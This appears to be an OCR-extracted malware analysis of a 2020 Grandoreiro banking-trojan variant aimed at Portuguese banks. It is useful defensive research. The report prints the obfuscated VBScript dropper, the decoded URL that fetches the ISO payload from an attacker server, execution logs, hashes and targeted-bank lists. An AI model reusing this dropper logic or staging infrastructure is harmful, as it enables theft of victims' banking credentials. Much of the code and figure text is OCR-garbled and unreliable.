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The updated Grandoreiro Malware equipped with latenbot-C2 features in Q2 2020 now
extended to Portuguese banks.

Grandoreiro is a Latin American banking trojan targeting Brazil, Mexico, Spain, Peru, and
has now extended to Portugal.

Cybercriminals attempt to compromise computers to generate revenue by exfiltrating
information from victims’ devices, typically banking-related information. During April and May
2020, a new Grandoreiro variant was identified. This piece of malware includes
improvements in the way it is operating. The threat has been disseminating via malscam
campaigns, as in the past, and the name of the victim is used as a part of the malicious
attachment name, as shown below.

Assunto:Fwd: COMUNICADO - Fatura proximo ao vencimento. 3394984528 PM
Data:Wed, 29 Apr 2020 17:28:35 +0000
De:FaturaPsS
Para:
Segue Fatura em anexo para pagamento.

ATT

Email:

invoice with the victim's
name

B As-029294874filip... 4

The attached file is an HTML document that downloads the Grandoreiro’s 1st stage — a
VBScript file (VBS). After that, an ISO file is downloaded from the online server, according to
the target country and campaign. During this investigation, several samples were found
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online, specifically grouped by campaigns and countries (see Technical Analysis).

The malware modus operandi is very similar to old samples, however, this new variant brings
some improvements to how it is communicating with the C2 server. After analyzing it,
similarities with latenbot-C2 traffic were identified and described below (another Brazilian
trojan).

Grandoreiro operators probably are including Latenbot botnet modules as a way of improving
communication between C2 and infected hosts — creating a kind of Grandoreiro botnet.

The malware is capable of collecting banking details from victims’ devices, get total control of
the OS, reboot, and lockdown, windows overlay, keylogger capabilities, and performing
browser interaction.

For more details about this threat see the Technical Analysis below.

Technical Analysis

The Grandoreiro malware has been distributed via malscan campaigns around the globe
during Q2 2020. As can be observed during this publication, new features have been added
to the new samples, including latenbot-C2 features (another Brazilian trojan — see
@hasherezade analysis here), and the scope of malware was now extended to Portuguese
banks.

Assunto:Fwd: COMUNICADO - Fatura proximo ao vencimento. 33949845:28 PM
Data:Wed, 29 Apr 2020 17:28:35 +0000
De:FaturaPs
Para:
Segue Fatura em anexo para pagamento.

ATT

Email:

invoice with the victim's
name

B as-029294874filip.. '

Figure 1: Grandoreiro email template Q2 2020 (Portugal). The content of the attached file is
HTML with a short-URL that downloads the next stage (VBS file).
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[23-04-2020] Malware 4 #portugalll #trojan #evasion
new sample #https://t.co/lUAaQBEVbds

_02_

hxxp://1 92.236.147.]1100:51224/$rdgate?ACTION=x
1 92.236.147.1100:1950/zflipbgi.iso

—registry—
EJHKEY CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication -
>Zflipbgi.exe pic.twitter.com/du3RLEXNEi

— Pedro Tavares (@sirpedrotavares) April 23, 2020

As observed below, after submitting the sample into VirusTotal it was classified as a
variant of Grandoreiro trojan, as some changes were performed by crooks to improve this
piece of malware.

1 O @ 10 engines detected this file
d343167500b857115279be60ef6T77cac3acc4675c6ebadedb09f0762326d9d7e 3777 MB 2020-04-24 09:04:29 UTC %L
Zflipbgi exe Size 2 hours ago EXE
bobsoft peexe
Community
Seore
DETECTION DETAILS communiTY @
SecureAge APEX @ Malicious Cybereason @ Malicious.c34209 /
Endgame @ Malicious (high Confidence) ESET-NOD32 @ A Variant Of Win32/Spy.Grandoreiro Al I
Fortinet (D) waz/Grandoreiro. AEHr. spy | Ikarus (1) Trojan.winz2.Contuedo
Kaspersky @ UDS:DangerousObject. Multi. Generic Rising @ Malware HeuristiclET#83% (RDMK.cmRt
SentinelOne (Static ML) @ DFI - Malicious PE Trapmine @ Malicious high.ml score
Acronis (@) Undetected Ad-Aware (%) Undetected
AegisLab () Undetected AhnLab-v3 () Undetected

Figure 2: Grandoreiro variant VT sample submitted on 2020-04-24 during this investigation.

This specific sample was distributed via a VBScript file, one of the different chains of
Grandoreiro as detailed by ESET.
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Figure 3: Possible ways that Grandoreiro distribution chains may appear (different colors
show different paths the chain may take). The final ZIP archive may be encrypted and in
some cases also protected by a password — credits ESET.

The malware has been distributed during April and May 2020 and has affected Portuguese
users. One of the last analyzed samples (2020-05-21 —
8491a619dc6e182437bd4482d6e97e3a) is scrutinized below.

Grandoreiro VBS file — First stage (Portugal May 2020)
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Filename: Torrentz5B88BC75AD1DA330A74FFA2ED717DBOB3AE71CCC.vbs
MD5: 8491a619dc6e182437bd4482d6e97e3a
SHA1: 46d601a56103bf0a623d1c937eab41d8772de644

At first glance, the VBS file seems obfuscated, nonetheless, some details can be extracted
such as the encoded string with the URL where the next stage is downloaded and the place
where it will be executed on the target machine.

j Torrentz5B88BCT5ADTDA33DATAFFAZEDT17DBOB3IAET1CCC - Notepad
File Edit Format View Help
Option Explicit

CONST wshOK =0

CONST VALUE_ICON_WARNING =16

CONST wshYesNoDialog =4

CONST VALUE_ICON_QUESTIOMMARK =32

CONST VALUE_ICOM_INFORMATION =64

CONST HKEY_LOCAL_MACHINE =&HB00000a82
CONST KEY_SET_VALUE =&Hoea2
CONST KEY_QUERY_VALUE =&Heeal
CONST REG_SZ =1

dim mogsueggilnprttvbdffhjjnprrtvzzacbbdffhj,aacegilnprrtveggimmoggsuuacceggillnnpruu,uacegimmgqsuxybaacegiiloggsuddfhjjmooqsu,hjnpttvbdffhjmogqsvzzacbbdffhjmmogssuegg
dim ttfhjmoossuaccegiiloogssuxyybaaceegiilnn,Clgttvzzacbbggilnnprtt,SEUZP

dim 1npsaccegilnprritvzzbaccegiilnnprttveggjm,mgXFFRIUkm

dim gszaccbfhjmmggsueegillnpprbdggillnprrivz,egilprribbdfiilnpprttvzzacbbddfhllnnprtt,tvvbddgillnprrivzzacbbdffilnnprriveegil
dim giogsudfhhjmoqqsuaadffhjjmoogsuuxyybaach,nptvzaacgiilprriveegimmogqsuaaceggiilnpp,0BImmogqsuxyybaacthjjm

dim ttvegiilnpprtvbeegiilnpprttvzaacbbdggilnnprriv,veilnnprtvbdgillnprrtvzzacbbffhlnnprttve,ccgilnppttvzaaacegiilnnprttveggimoogssua
Function Jkdkdkd(Glg)

For ttfhjmoossuaccegiiloogssuxyybaaceegiilnn = 1 To Len(Glg)

veilnnprtvbdgillnprrtvzzacbbffhlnnprttve = Mid(Glg, ttfhjmoossuaccegiiloogssuxyybaaceegiilnn, 1)
veilnnprtvbdgillnprrtvzzacbbffhlnnprttve = Chr{Asc(veilnnprtvbdgillnprrtvzzacbbffhlnnprttve)+ 6)
giogsudfhhjmoqqsuaadffhjjmooqsuuxyybaach = gioqsudfhhjmogqgsuaadffhjjmoogsuuxyybaach + veilnnprtvbdgillnprrtvzzacbbffhlnnpritve
Next

Jkdkdkd = giogsudfhhjmoqqsuaadffhjjmoogsuuxyybaach

End Function

Function aceeillnprrtveggjmoogssuacceggilnnpssuxxybaa()

Dim ClgttvzzacbbggilnnprttlM, jxtuuaceegjmooqsuu,jriceegillnpritvzw,Coltssuzacchdfhhjmooq

Set ClgttvzzacbbggilnnprttlM = WScript.CreateObject( "WScript.Shell™ )

Set jrtceegillnprttvzw = CreateObject( "Scripting.FileSystemObject™” )

Set jxtuuaceegimoogsuu = jrtceegillnprttvzw.GetFolder(egilprrtbbdfiilnpprttvzzacbbddfhllnnprtt)

Set Coltssuzacchdfhhjmoog = jxtuuaceegjmooqsuu.Files

For Each Coltssuzaccbdfhhjmoog in Coltssuzaccbdfhhjmooq

If UCase(jrtceegillnprttvzw.GetExtensionlame(Coltssuzaccbdfhhjmoog.name)) = "EXE" Then Downloaded ISO file with the
ClgttvzzacbbggilnnprttlM.Exec{egilprrtbbdfiilnpprttvzzacbbddfhllnnprtt & "\" & Coltssuzaccbdfhhjmooq.Mame) ma|ware Inslde

End If

Next

End Function
Inpsaccegilnprrtvzzbaccegiilnnprttveggim = ]kdkdkd(”bnnjd))+3,(,-H(+.1(+”*4+3[*)Chn‘nolcifm(cmi”)I
Set 0BImmogqgsuxyybaacfhjjm = CreateObject( T

tvvbddgillnprrtvzzacbbdffilnnprrtveegil = 0BJmmoggsuxyybaacfhjjm.ExpandEnvironmentStrings(StrReverse( "%ATADPPA%")) o, 0,
hjnpttvbdffhimogasvzzachbdffninmogssuegg -] "A99449C 309 2CE7@06ACE715CF7BE75E. zip” | — zip file created on %appdata%
Function tveglnprvcceillnprttvzaacbegiilnpprtvvegiiln() WIth gl’andorelro exe f“e

SET aacegilnprrtveggimmogqgqsuuacceggillnnpruu = CREATEOBIECT("Scripting.FileSystemObject™)

IF aacegilnprrtveggimmoqqsuuacceggillnnpruu.FolderExists(tvvbddgillnprrtvzzacbbdffilnnprrtveegil + "\DecGram™) = TRUE THEN WScript.Quit() END IF

IF =acegilnprrtveggimmogqqsuuacceggillnnpruu.FolderExists(uacegimmggsuxybaacegiiloggsuddfhjjmoogsu) = FALSE THEN

aacegilnprriveggimmogqsuuacceggillnnpruu. CreateFolder uacegimmgqsuxybaacegiiloqqgsuddfhjjmooqsu

aacegilnprriveggimmoggsuuacceggillnnpruu. CreateFolder 0BImmogqgsuxyybaacfhjjm.ExpandEnvironmentStrings(StrReverse("%ATADPPAX")) + "\DecGram"

END IF

End Function

Function jmosuacehjmosuuxybaacegjmmogssudfhhimoggsvbd()

DIM jrtceegillnprttvzxsd

Figure 4: Grandoreiro VBS file (1st stage) obfuscated. Some details can be extracted from
the code how highlighted above.

The following piece of code can be used to decode the strings hardcoded in the VBS file.

The decoded string is a URL pointing to a website where several samples of Grandoreiro are
available. The samples are downloaded depending on the initial stage and the target country.
The following URL was distributed in Portugal during April and May 2020 and described in
this investigation.

Encoded string: cipher="bnnj4))+3,(,-0(+.1(+**4+3/*)Cho nolcifm(cmi"

Decoded string: http://192.236.147.]100:1950/Inufturiols.iso
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The Grandoreiro samples available on this server online were often changed by criminals as
a way of bypassing AV’s detections. Based on metrics from May 20th, 1771 users were
potentially infected or executed the Grandoreiro 1st stage (VBS file).

NOME .extension | TAMANHO DATETIME m

I adamntiumnix.is 46MB  5/15/2020 5:21:41 PM
I€] eabubiinsc iso 6.1MB  5/13/2020 2:44:29 PM 15
I€] babulostiingr.iso 6.1MB  5/17/2020 7:18:00 PM 9
I€] beuiokijuj.iso 6.1MB  5/18/2020 5:05:11 AM 276
I€] bgeghidw.iso 63MB  5/19/2020 9:54:25 AM 251
I2] inuturiols.iso 6.3MB  5/18/2020 2:14:16 PM 224
Il ioptoimju.iso 6.6MB  5/19/2020 5:27:54 AM 35
[€] mrblaterkiso 46MB  4/29/2020 7:14:37 AM 177
I€] mriastapss.iso 48MB  5/6/2020 6:41:10 AM 164
I€] pthundetbox.iso 6.5MB  5/14/2020 2:53:35 PM 6
[2] umbuntojic.iso 46MB  5/18/2020 10:45:43 AM 158
I2] Uskmanager.so 46MB  5/13/2020 3:31:42 PM 35
I2] Urbdrackmo.iso 74MB  5/6/2020 12:03:29 PM 103
I2] vpnigjwisg.iso 6.1MB  5/15/2020 5:48:10 AM 4
I€] 20q00gfdge.iso 6.1MB  5/14/2020 5:22:54 AM 237

Figure 5: Metrics collected from the Grandoreiro server on May 20th, 2020. Each sample is
associated with different ongoing campaigns and target countries.

In detail, the sample distributed in Portugal was downloaded 224 times (Inufturiols.iso in
Figure 5). The sample was available for download between 2020-05-18 and 2020-05-22.

An interesting point is that one day after data collection, on 2020/05/21, most of the samples
were removed from the server by the malware operators, but the sample targeting Portugal
was kept available for the next days.
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Figure 6: Metrics collected from the server on May 21st, 2020 with the Portuguese sample

B bBUlokiju.iso

D EEUNDTRUNDJLiso

D Inufturiols.iso
D lopfoimju.iso

D Uimanstermnmj.iso

D Umbuntojio.iso

kept by crooks.

The threats available on the server are the same, but different samples were created by

61MB  5/18/2020 5:05:11 AM

61MB  521/2020 5:03:28 AM

6.3MB 5182020 2:14:16 PM

6.6MB 5192020 5:27:54 AM

6.2MB 52002020 12:41:04 PM
46MB S/18/2020 10:45:43 AM

230
38

NOME .extension | TAMANHO DATETIME m

Grandoreiro operators as observed below. The samples were grouped by countries or

campaigns.

Mame

D adamntiumnix
D Babubjinsc
D babulostfingr
2] bBUlokijuj
D Inufturicls
D lepfoimju

D mrklaterkij
D mrlastapss
D pthundetbox
D Umbuntojic
D Uskranager
D Utrbdrackmo
D wvpnfgjwlsg
<] z99gggfdge

Date modified

5/19/2020 4:32 PM
5/19/2020 4:32 PM
5/19/2020 4:32 PM
5/19/2020 4:32 PM
5/19/2020 4:30 PM
5/19/2020 4:32 PM
5/19/2020 4:32 PM
5/19/2020 4:32 PM
5/19/2020 4:32 PM
5/19/2020 4:31 PM
5/19/2020 4:31 PM
5/19/2020 4:30 PM
5/19/2020 4:30 PM
5/19/2020 4:30 PM

Type

Disc Image File
Disc Image File
Disc Image File
Disc Image File
Disc Image File
Disc Image File
Disc Image File
Disc Image File
Disc Image File
Disc Image File
Disc Image File
Disc Image File
Disc Image File

Disc Image File

Figure 7: Grandoreiro samples (ISO files) available on the server online.

Size

4,605 KB
6,290 KB
6,282 KB
6,280 KB
6,416 KB
6,794 KB
4,660 KB
4,890 KB
6,645 KB
4722 KB
4,691 KB

6,246 KB
6,251 KB

The ISO files have a size range of 4MB to 7MB which is an unusual file size for image files.
Theses files are an archive file that contains all the information that would be written to an
optical disc. The malware is inside them and is dropped when the file is executed. This is not
new, several threats have been distributed via ISO files past months (see more details in a
ThreatPost publication here).
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Digging into the details, when the VBS file (1st stage) is executed on the victim’s machine,
the ISO file is downloaded from the server online.

4:03:554071192PM gp WScriptexe 92 44 TCP Receive  DESKTOP-05GDITJ:50484 -> hwsrv-716515 hostwindsdns com: 1350 SUCCESS
4:03:55.4071266 PM @p WScriptexe 92 44 TCP Receive  DESKTOP-05GDITJ:50484 -> hwsrv-716515 hostwindsdns.com: 1950 SUCCESS
4:03:55.4071333PM gp WScriptexe 92 aaTCP Receive  DESKTOP-05GDITJ:50484 -> hwsrv-716515 hostwindsdns.com: 1950 SUCCESS
4:03:55.4071399 PM @p WScriptexe 92 44 TCP Receive  DESKTOP-05GDITJ:50484 -> hwsrv-716515 hostwindsdns.com: 1950 SUCCESS
4:03:55.4104257 PM g WScript exe 92 BereFie C:\Users\root\App Data‘Local\Microsoft \Windows\INetCache \IENALBXRYGG \Inufturiols[1] iso SUCCESS
4:03:55.4106015PM @ WScriptexe 92 [BhWiiteFile C:\Users\root\App Data\Local\Microsoft\Windows\INetCache \IENALBXR YGG\Inufturiols[1] iso SUCCESS
4:03:55.4109204 PM gp WScriptexe 92 [BhWiiteFile C:\Users\root\AppData‘Local\Microsoft \Windows\INetCache \IEVALSXRYGG\Inufturiols[ 1] iso SUCCESS
4:03:554727728 PM @@ WScriptexe 92 44 TCP Receive  DESKTOP-05GDITJ:50484 -> hwsrv-716515 hostwindsdns.com: 1950 SUCCESS
4:03:554728079 PM gp WScriptexe 92 éTCP Receive = DESKTOP-05GDITJ:50484 -> hwsrv-716515 hostwindsdns.com: 1950 SUCCESS

[l |bq:‘5tream eq

No. Time Source Destination Protocol

Length Info

3 9.226435 18.8.2.15 192.236.147.168 TCP 54 58484 =+ 1958 [ACK] Seg=1 Ack=1 Win=65535 Len=@
4 @.478724 10.8.2.15 192.236.147.1808 HTTP 393 GET /Inufturiols.iso HTTP/1.1
5 9.478929 192.236.147.100 18.8.2.15 TCP 68 1950 - 58484 [ACK] Seg=1 Ack=348 Win=65535 Len=0@
6 @8.587795 192.236.147.188 16.8.2.15 TCP 344 1958 » 58484 [PSH, ACK] Seq=1 Ack=348 Win=65535 Len=29@ [T(P segment of a reassembled PDU]
‘ Wireshark - Follow HTTP Stream (tcp.stream eq 0) - vbs.pcap.pcapng - O

GET /Inufturiols.iso HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMDB4

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.@ (compatible; MSIE 7.8; Windows NT 10.8; Win64; x64; Trident/7.e; .NET4.@C; .NET4.@E; .NET CLR 2.0.58727; .NET CLR 3.8.38729; .NET CLR 3.5.38729)
Host: 192.236.147.108:1956

4 |Connection: Keep-Alive

HTTP/1.1 280 OK

Content-Type: application/octet-stream

Content-Length: 6569698

Accept-Ranges: bytes

Server: HFS 2.3g

Set-Cookie: HFS_SID_=8.547294938238338; path=/; HttpOnly
Last-Modified: Mon, 18 May 2028 21:14:16 GMT
Content-Disposition: attachment; filename="Inufturiols.iso";

UEsDBBQAARATAGIQs1BYpPyIoCSLAABYUhQPAAAASWS 1ZnR1cmlvbHMUZXh 1z LANXFRY/ J9+Z+YCA470qKiomGR ja T4s 1BUAMCNP4vP I/ gcCYRGAs IdtUQZdmDj cmkj tm3ru+l+da3dnnajsilra2aQpCwBTUFMTa300F akIkois/
t8zjeDaA+2/9fr/3v9fMmBzzBPN3P0532053z0ueecu3CSRVALgi AKe sHrFYQaQf 1nFkYIN/ 2nEcQIBmHO2N2BnIxaol rwyalVWamS6wrDNhbkP1CO+VDYQIZCKez+7 LACG4YwE4as 7 TKwpes 2REAbGGS852ak/
2/9s5yQIwgKVWhiS0vZ0n2914Q81A1TqkULP441QcGow+k@YUCUIBNAYALE7ZK1Gvin/ TCh@7gn2PajZraFFZ2gQfD59/ 8KFELaEALr+KARP3RES3PivegnB/KHGRI6/ 2xPCCE/H/ gz/ +IWxycgbrnyuFIgratv] ZR/ YYIwX/
zs1NnoNrsEpeSn8anqunhmQXDEpqQwdIME /HICCTh7 T Tz45516L1tTyhSUOkPdhik/ jmfGeF JeIbgn+LORGWEIQrjhn2NqgUKPBQB4wZh+QzwzcHdqQXZ e/ 1pB4SXwWHAASYITEQoL LUIDtokivTY4/+alNd131gm+0/gj3Xtd+Pave/
+EBAmAVNQGx+T1525gYmZ uwHT PBSM/MK s BXUAME2pVmYDDSqMS43 54CFg6YQq szgpwq YuBHK FICTAGXHSVWE 14k jA/ 3F 2Te 171 64e cxvaX5ElobSgleVDT 20cZkFe s270bSKF5ehoUz 4G/ wA7p3T
+e1RMLAr7hqN45IYn] 2Zp6qygHulPEUGWDdhg F2g 3tABN] 1dnk8 zF 41 gk Zxasy9wgQfnPAXPQArxs7hU/ 2C2 88 8M9 3UHwz ImIR T+wuDPCHBhSHT FLNGBHE18BeQuy j+9d1rIQukCFA99GXgn/ JwcZ TIET gxeOmDS1LDCN Iy12ZYG/
PdiiQyGNrgBX77fFGBeNaZREEXbW111UGrv37 /woE/wl/r8NffxXho/Uf8NdyP+BB1BCzBPQLI cZwHaAH+QI1bMsBC2cy+rcld1XS86pvdXIUipMHBZI LwamxmdK2anrHspiecffNE1FIATY
+JUcMzimerRwlDgu4] JEMZ7jRoSmjjEcozh05xjOCTLHCRy NHMMAhNIMAZ JHMZ1jga00Yy1HGBcij Lg0IsenOF Zxf Iy jwLEnQkEPxyE0NRzPMUYx17/ / XhABRCqdC@] /Md44WSX56d9ZaQwnTnta/
3 | AonxqU8zRm0] zke49jGBROHZ0771TzSPEB+LYLOXSEETz T eXxDWC /RFy Tz sK2uy+kUEVqOw7 jwDEWSVPBAx s pXUaRyVEbUiulUU0OkT1j7Zezr0eIPzHIwyFulSzIZtGIdM150kb,/

CqTKHIwWQGS5btCRd1CA6M1Q2yBmiHCvKmmoVh 11E0pDSCULGYYFkg27E JwpbUvT1pDvShAJoWSVQEQ] SgSx5XSRmCDT FKemRWeqswYTI38HCx6n1T1InE6VKLGHaRIFUSZWOhDC/ sLCBIucMLME TNKY7KXp4FnqsIgROt1/
+a01UATMz 17vIW3kCpkGtEydBRYIpSp5IqGaB3WmTzbfb+qejiaxoipOC78T43T2r TrBmgQ5RAMKIyzyKX1E1Bzg@al+E7fq3HeSIKAgEaxkglazVT fpklxkFCdlyoU6cggsNl/

Figure 8: ISO file downloaded from the server online and stored on the IE web cache.

Next, the folder “\nvreadmm ” is created on the AppData\Roaming directory, and the zip
file with the malware inside is dropped (the zip filename can be observed in Figure 4 above).

DIM jr‘tceégillnpr‘t;:vzxsd ’ - ’ i

Set jrtceegillnprttvzxsd = Createobject("Scripting.FileSystemObject™)

jrtceegillnprttvzxsd.DeleteFile egilprrtbbdfiilnpprttvzzacbbddfhllnnprtt & "\" & hjnpttvbdffhjmoqqsvzzacbbdffhjmmogssuegg
End Function

egilprrtbbdfiilnpprttvzzacbbddfhllnnprtt = tvvbddgillnprrtvzzacbbdffilnnprrtveegil + "\nvreadmm”
ddfhhjmmgqtvvegiilnpprtvvbdffillnprrtvzzaccbdffh
uvacegimmgqsuxybaacegiiloggsuddfhjjmoogsu = egilprrtbbdfiilnpprttvzzacbbddfhllnnprtt

4:04:56.6089999 P) SUCCESS

sers ‘oot \AppData‘\Roaming\nvreadmm\A99445C 3092CE70964CE 715CF7BB 758 zip

4:04:56.6093528 PM gp WScriptexe 92 EAWriteFile C:\Users'root \App Data‘\Roaming \nvreadmm\A93449C3092CE70964CE715CF 7BB75B.zip SUCCESS
4:04:56.6095064 PM —WScﬁpt.ene 92 [k WiiteFile C:\Users\root \AppData‘\Roaming‘\nvreadmm\A33445C3092CE70964CE715CF7BB75B.zip SUCCESS
4:04:56.6095533 PM gp WScriptexe 92 EAWriteFile C:\Users'root \App Data‘\Roaming \nvreadmm\AS3445C3092CE70964CE 715CF7BB75B.2ip SUCCESS
4:04:56.6096401 PM gp WScriptexe 92 [FAWriteFile C:\Users“root \AppData'\Roaming \nvreadmm\A39449C3092CE70964CE715CF 7BB75B.zip SUCCESS
4:04:56.6097228 PM g@p WScriptexe 92 [FBAWriteFile C:\Users\root \AppData'\Roaming‘\nvreadmm\A99445C3092CE70964CE 715CF7BB75B zip SUCCESS
4:04:56 6097619 PM gp WScriptexe 52 [FhWiiteFile C:\Users\root \App Data‘\Roaming \nvreadmm\A39449C3092CE70964CE715CF7BB75B zip SUCCESS
4:04:56.6097240 PM gp WScriptexe 92 [FAWiiteFile C:\Users'root \AppData\Roaming\nvreadmm\AS9449C3092CE70964CE715CF 7BB75B.2ip SUCCESS
4:04:56.6097986 PM gp WScriptexe 92 [FAWiiteFile C:\Users\root \App Data‘\Roaming \nvreadmm\A39449C3092CE70964CE715CF7BB75B.zip SUCCESS
4:04:56.6098200 PM gp WScriptexe 92 [hWiiteFile C:\Users\root \AppData'\Roaming \nvreadmm\A%9449C3092CE70964CE715CF 7BB75B.zip SUCCESS
4:04:56.6093710 PM @@ WScriptexe 92 A WriteFile C:\Users\root \App Data‘\Roaming \nvreadmm\A99449C3092CE70964CE715CF7BB75B.2ip SUCCESS
4:04:56.6098824 PM gp WScriptexe 92 [FAWriteFile C:\Users\root \App Data'\Roaming \nvreadmm\A99449C3092CE70964CE715CF 7BB758.2ip SUCCESS
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Figure 9: Zip file with the malware inside is dropped into the
‘AppData\Roaming\nvreadmm” folder.

When the download is done, the unzip process starts. The PE file (Grandoreiro trojan
malware) is extracted into the same folder and executed.

4:05:07.3852606 PM @B W Script.exe 52 %Close File CA\Users‘root \App Data \Roaming‘\nvreadmm \AS53445C 3052CE70964CET15CF7BBTEE 2ip SUCCESS
4:05:07.3856379 PM  gp W Script exe 52 %Create File C:\Users'root  App Data‘\Roaming ‘nvreadmm\AS5445C 3052CE 70564CET15CF7BB75B zip SUCCESS
4:05:07.3860385 PM W Script.exe 92 [BhCreateFile C:\Users'root  App Data\Roaming ‘\nvreadmm \Inufturiols exe NAME NOT FOUND
4:05:07.3861623 PM 7= : eateFile C:A\Users‘root \App Data \Roaming \nvreadmm\nufturiols exe SUCCESS
4:05:07 3864525 PM WScript exe 92 [2hReadFile C:\Usersroot  App Data‘\Roaming \nvreadmm\ AS3445C 3092CE 70964CET15CF7BB75B zip SUCCESS
4:05:07.3865487 PM g W Script exe 92 [BhReadFile C:\Windows"System 32%zipfldr dil SUCCESS
4:05:07.3936379 PM @B W Script.exe 92 &Head File CAWindows System 32 zipfldr.dil SUCCESS
4:05:07.3945646 PM @B W Script.exe 92 &Read File CAUsers‘root \ App Data‘\Roaming‘\nvreadmm\AS3445C I092CET0964CET15CF7BBTEE 2ip SUCCESS
4:05:07.3550488 PM g W Script exe 52 %Read File CA\Users‘root'\ App Data '\ Roaming‘\nvreadmm '\ AS5445C 3052CET0964CET15CF7BBTEB 2ip SUCCESS
4:05:07.3955396 PM  gp W Script exe 92 [BhReadFile C:\Usersroot  App Data\Roaming \nvreadmm\ AS5445C 3052CE70564CET15CF7BBT5E zip SUCCESS
4:05:07.3961643 PM @B W 5Script.exe 92 %Wme File: CAUsers‘root \App Data \Roaming‘\nvreadmmnufturicls exe SUCCESS
4:05:07.3965591 PM @B W Script.exe 52 &Wrﬂe File: CA\Users‘root \App Data\Roaming ‘\nvreadmm\nufturicls exe SUCCESS
4:05:07.3966450 PM g W Script exe 92 [BhWriteFile C:\Users'root ' App Data\Roaming ‘\nvreadmm Inufturicls exe SUCCESS
4:05:07.3966249 PM  gn W Script exe 92 [BhWriteFile C:\Users'root  App Data\Roaming ‘\nvreadmm Inufturiols exe SUCCESS

@5 . wscript.exe Susp... 6328K 25424 K 92 Microsoft ® Windows Based ... Microsoft Comoration

= Eimd‘led_e!e 1944 K 9.912K 3064 Java Update Scheduler Oracle Comporation
| £:|lucheck exe 2.800K 11,064 K 5924 Java Update Checker Oracle Corporation

& = | nvreadmm

Home Share View
v 4 » root » AppData » Roaming > nvreadmm
fa
Name Date modified Type Size
o Quick access .
i A99449C3092CET0964CET15CFTBBTIB 3/21/2020 4:05 PM Compressed (zipp... 4812 KB
B Desktop . ) ) ) o
[#] Inufturicls 5/21/20204:05PM  Application 21,360 KB

4 Downloads *

4 Documents ¢ unzip process until ~ 300 MB

Figure 10: Grandoreiro extracting process ~ binary with a size of 331 MB.

Grandoreiro — Final Payload (Portugal May 2020)

Filename: Inufturiols.exe
MD5: 1f861de0794cd020072150db618da154
SHA1: c3f70025857ac7eca467412d35f17fc5ec10f659

The final payload is a PE file written in Delphi — a Latin American banking trojan. According
to ESET, “Grandoreiro has been active at least since 2017 targeting Brazil and Peru,
expanding to Mexico and Spain in 2019. “

The malware scope was extended also to Portugal now, with several Portuguese banks
included in the malware operations as highlighted below.
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Address Length Resut
Dxcf93ec 15 RECORTEcecabank

0xcfa404 16 RECORTECTIVOBANK

Oxcf9420 17 RECORTECaixaGeral

Oxcf943c 11 RECORTEBEVA inufturiols.00CF7309

Oxcf9450 14 RECORTELACAXA mov dl1,7C ; 7C:"|"

Oxcfa463 18 RECORTESTDAESPANHA mov eax,dword gtl" ds: [D12864]

Oxcfa4s4 17 RECORTEBLOCKCHAIN €all inufturiols.BBCOCO

Oxcfo4a0 16 RECORTECAJARURAL lea ecx,dword ptr ss:[ebp-9Fc])

Oxcfadbe 15 RECORTESabadel mov edx,1

0xcfaadd % RECORTEBANKINTER mov ebx,dword ptr ds:[eax]

Oxcfasfo 14 RECORTElaboral €& dword ptr ds:[ebx+C]

0xcf9508 14 RECORTEBBANKIA mov eax,dword ptr ss:[lebp-9FC

Oxcf9520 4 RECORTEcajamar lea edx,dword ptr ss:febp-9F

Oxcfo538 16 RECORTELiberbark €all inufturiols. 4090E4

0xcfI554 15 RECORTEOpenbank mov eax,dword ptr ss:[ebp-9Fs]

Oxcfosee 0 RECORTEING mov edx,inufturiols.CF961C ; CF961C: "RECORTEnovobancopt”
Oxcf9580 1 RECORTEPidincha inufturiols. 404608

Oxcf955¢ 15 RECORTEbercaje ne inufturiols.CF7363

Oxcfa5b4 17 RECORTEMediolanum

0xcfa5do 14 RECORTEUnicaja

Oxcf95ed 14 RECORTETRIODOS

0xcfa600 19 RECORTEACTIVOBANKPT

Oxcfo51c 8 RECORTEnovabancopt inufturiols.00CF7348

Oxcfo33 7 RECORTEMONTEPIOpt lea eax,dword ptr ss:[febp-a00]
Oxcfa654 14 RECORTEsantapt inufturiols. 9B6A7C
Oxcfaese 2 RECORTEmilenniumbcppt mov edx,dword ptr ss:[febp-A00j
Oxcfaese 2 RECORTECaixadirectapt mov_eax,inufturiols.D127A0
Oxcfg6ac 16 RECORTEELroBicpt €all inufturiols.404A14
OxcfI6e8 10 RECORTESCr

Oxcfo6ed 1 RECORTESEPT

Oxcfo6fc 20 RECORTESPor tugalBBY A

Oxcfa7ic 11 RECORTEBICE

Oxcfo730 13 RECORTERipley inufturiols.00CF7363

0xcfa748 10 RECORTEBG mov d1,7C ; 7C:"|"

Oxcfa7se v RECORTEChile mov eax,dword ptr ds:[D12864]

Oxcfa774 18 RECORTEBancoEstado €all inufturiols.BBCOCO

Oxcfo790 1 RECORTEFalabella lea ecx,dword ptr ss:[ebp-A0s]

Oxcfg7ac 10 RECORTEIta

Oxcfa7c0 16 RECORTESantander

Oxcfa7dc 2 RECORTECHILEScotiabank

Oxcfa7fc 14 RECORTESGLOBAL

Figure 11: List of the Portuguese banks included in the Grandoreiro version of May 2020.

A complete list of the targeted banking organizations can be found below (Grandoreiro May
2020).
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0OCFO808
0OCFO81C
0OCFO82C
OOCF0840
OOCF0850
OOCFO864
OOCF0874
00CF0884
0OCFO890
OOCFO8A0
0OCFO8B4
OOCFO8C8
0OCFO8D8
OOCFO8EC
OOCF0900
OOCF8EOO
OOCF8E14
OOCF8E24
OOCF8E38
OOCF8E48
OOCF8ESC
OOCF8EGC
OOCF8E7C
OOCF8E88
OOCF8E98
OOCF8EAC
OOCF8ECO
OOCF8EDO
OOCF8EE4
OOCF8EF8
OOCF8F7C
OOCF8F98
OOCF8FBO
OOCF8FC4
OOCF8FD8

<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>
<AnsiString>

'Cecabank'
"natwest'
'SantanderUK'
"HSBCUK''
'Barclays'
'"BICE'
'Ripley’
'Beci’

'Chile'
'BancoEstado’
'Falabella'
'Itad'
'Santander'
'Scotiabank’
'"PT_1'
